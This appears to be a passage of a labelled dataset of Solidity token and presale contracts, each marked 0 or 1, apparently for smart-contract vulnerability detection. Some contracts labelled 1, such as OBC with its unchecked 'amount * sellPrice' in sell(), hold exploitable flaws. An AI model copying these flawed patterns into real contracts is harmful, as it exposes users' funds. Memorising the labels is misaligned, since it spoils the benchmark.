emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,149 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MediLiVes Token";
string public constant TOKEN_SYMBOL = "MLIV";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x3e9611D1b334C1631F756bF1F42BE071cCbE66d4;
uint public constant START_TIME = 1563561000;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 48 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Nono {
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Nono(
) public {
totalSupply = 25000000000000000;
balanceOf[msg.sender] = totalSupply;
name = "nono";
symbol = "NONO";
decimals = 8;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,147 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.3-beta";
uint public constant PRESALE_START = 3044895;
uint public constant PRESALE_END = 3048975;
uint public constant WITHDRAWAL_END = 3049935;
address public constant OWNER = 0x45d5426471D12b21C3326dD0cF96f6656F7d14b1;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (this.balance > 0) {
if (!OWNER.send(this.balance)) throw;
}
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else if (this.balance > 0){
return State.REFUND_RUNNING;
} else {
return State.CLOSED;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 1,937 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 8;
uint8 public constant TOKEN_DECIMALS_UINT8 = 8;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "OfferZoneToken";
string public constant TOKEN_SYMBOL = "OFZ";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x9925C1e9693f566F2Be59D815bd9B9996417ae14;
uint public constant START_TIME = 1538388420;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 921 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
using SafeMath for uint;
string public name = "organic block chain";
string public symbol = "OBC";
uint8 public decimals = 18;
uint256 public totalSupply = 3000000000 * 10 ** uint256(decimals);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
}
contract OBC is owned, TokenERC20 {
using SafeMath for uint;
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != address(0x0));
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(address(this), msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = address(this);
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, address(this), amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 4,013 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
